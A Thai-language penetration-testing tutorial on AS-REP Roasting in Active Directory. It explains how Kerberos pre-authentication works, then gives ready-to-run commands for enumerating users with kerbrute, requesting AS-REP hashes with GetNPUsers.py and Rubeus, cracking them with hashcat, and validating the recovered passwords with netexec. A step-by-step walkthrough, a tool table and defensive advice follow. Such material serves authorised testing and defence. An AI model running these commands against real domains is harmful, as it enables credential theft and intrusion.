AS-REP Roasting
AS-REP Roasting โจมตีบัญชีที่ปิด Kerberos pre-authentication (DONT_REQUIRE_PREAUTH) — ขอ AS-REP ได้โดยไม่ต้องรู้รหัส แล้วนำส่วนที่เข้ารหัสด้วย hash ของ user ไป crack offline ต่างจาก Kerberoasting ตรงที่ไม่ต้องมี credential เลยก็ทำได้ บทนี้ลงลึกกลไก pre-auth, การหาเป้า, การ request, crack และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — pre-authentication คืออะไร
ปกติ Kerberos บังคับ pre-authentication: ก่อนออก AS-REP (ขั้นแรกของ Kerberos) user ต้องพิสูจน์ว่ารู้รหัสด้วยการส่ง timestamp ที่เข้ารหัสด้วย hash ของตัวเอง — กันการขอ AS-REP มั่ว แต่ถ้าบัญชีตั้ง flag DONT_REQUIRE_PREAUTH โดเมนจะออก AS-REP ให้ใครก็ได้ที่ขอ โดยไม่ต้องพิสูจน์ และ AS-REP มีส่วนที่เข้ารหัสด้วย hash ของ user นั้น — เรานำมา crack offline หารหัสได้ โดยไม่ต้องมี credential ใดๆ เลย (แค่รู้ username)
2. ต่างจาก Kerberoasting อย่างไร
| AS-REP Roasting | Kerberoasting | |
|---|---|---|
| ต้องมี credential? | ไม่ต้อง (แค่รู้ username) | ต้อง auth แล้ว |
| เป้าหมาย | user ที่ปิด pre-auth | บัญชีที่มี SPN |
| crack อะไร | hash ของ user เอง | hash ของ service account |
| hashcat mode | 18200 | 13100 |
| ข้อจำกัด | ต้องมี user ที่ปิด pre-auth | ต้องมี SPN account |
AS-REP Roasting ทรงพลังตรงที่ไม่ต้องมี credential — ถ้ารู้รายชื่อ user (จาก enumeration) ลองขอ AS-REP ของทุกคน คนที่ปิด pre-auth จะได้ hash มา crack ทันที
3. หาบัญชีที่ปิด pre-auth
# มี credential — list ผู้ที่ปิด pre-auth
GetNPUsers.py domain.local/user:password -dc-ip 10.10.10.10 -request
# ไม่มี credential — ลองจากรายชื่อ user (userlist.txt)
GetNPUsers.py domain.local/ -dc-ip 10.10.10.10 -usersfile userlist.txt -no-pass -format hashcat -outputfile asrep.txt
# PowerView (บนโดเมน)
# Get-DomainUser -PreauthNotRequired | select samaccountname
# BloodHound: query "Find AS-REP Roastable Users"4. Request AS-REP
# impacket (Linux) — ได้ hash format hashcat เลย
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt
# เจาะ user เดียวที่รู้ว่าปิด pre-auth
GetNPUsers.py domain.local/svc_user -no-pass -format hashcat
# Rubeus (Windows) — หาและ roast ทั้งโดเมนอัตโนมัติ
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt5. Crack offline
# AS-REP = hashcat mode 18200
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# + rule
hashcat -m 18200 asrep.txt rockyou.txt -r rules/best64.rule
# ดูผล
hashcat -m 18200 asrep.txt --show
# ได้ password ของ user → login / pivot ต่อ6. การป้องกัน
- ไม่ปิด pre-authentication เว้นแต่จำเป็นจริงๆ (เป็น default ที่ควรคงไว้)
- audit บัญชีที่ตั้ง DONT_REQUIRE_PREAUTH เป็นระยะ
- ใช้รหัสยาว/ซับซ้อนกับบัญชีที่จำเป็นต้องปิด pre-auth
- monitor Event 4768 (AS-REQ) ที่ไม่มี pre-auth จำนวนมาก
- honey account ที่ปิด pre-auth ดักจับ
7. Quick Reference
- โจมตี user ที่ปิด pre-auth (DONT_REQUIRE_PREAUTH) — ไม่ต้องมี credential
- หา: GetNPUsers.py domain/ -usersfile users.txt -no-pass
- request: GetNPUsers.py ... -format hashcat -outputfile asrep.txt
- หรือ Rubeus.exe asreproast /format:hashcat
- crack: hashcat -m 18200 asrep.txt rockyou.txt
- ต่างจาก Kerberoast: ไม่ต้อง auth, crack hash ของ user (mode 18200)
- ป้องกัน: ไม่ปิด pre-auth, audit flag, รหัสยาว, monitor 4768
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติมาถึงหัวข้อนี้เพราะ BloodHound/เดา username ชี้ว่ามี user ที่ปิด pre-auth (หรือแค่มีรายชื่อ user แต่ยังไม่มี credential เลย) มีแค่ Kali ทำตามนี้ทีละขั้น — จุดเด่นคือไม่ต้องมี credential ก็เริ่มได้
- 1หา user list ก่อน (จาก null session/BloodHound/OSINT) หรือเดา:
kerbrute userenum -d domain.local --dc <DC_IP> userlist.txt - 2ยิง AS-REP roast แบบไม่มี credential เลย:
GetNPUsers.py domain.local/ -dc-ip <DC_IP> -usersfile userlist.txt -no-pass -format hashcat -outputfile asrep.txt - 3ดูว่ามี hash ออกมาไหม (คนที่ error STATUS_NOT_REQUIRE = ไม่ใช่เป้า ข้ามได้)
- 4ถ้ามี credential อยู่แล้ว list ทุกคนที่ปิด pre-auth ได้เลย:
GetNPUsers.py domain.local/user:pass -dc-ip <DC_IP> -request - 5crack hash ที่ได้:
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt - 6ถ้า crack ไม่ออกด้วย rockyou ลองเพิ่ม rule:
hashcat -m 18200 asrep.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule - 7ดูผล:
hashcat -m 18200 asrep.txt --show - 8ได้ password แล้ว → ยืนยัน login:
netexec smb <DC_IP> -u user -p 'password'แล้วไปรัน BloodHound ด้วย cred ใหม่ - 9ถ้าไม่มีใครปิด pre-auth เลย (ตัน) → ไปทำ Kerberoasting แทน (ถ้ามี creds) หรือกลับไปหา user list เพิ่ม
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา/เดา username | - | kerbrute (git clone + go build) | - |
| ยิง AS-REP roast | impacket (GetNPUsers.py) | pipx install impacket | - |
| crack hash (mode 18200) | hashcat | - | hashes.com |
| wordlist สำหรับ crack | rockyou.txt (/usr/share/wordlists) | - | - |
| ทดสอบ credential ที่ได้ | netexec (crackmapexec) | apt install netexec | - |
| อ้างอิงเทคนิค/syntax | - | - | wadcoms.github.io, thehacker.recipes |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้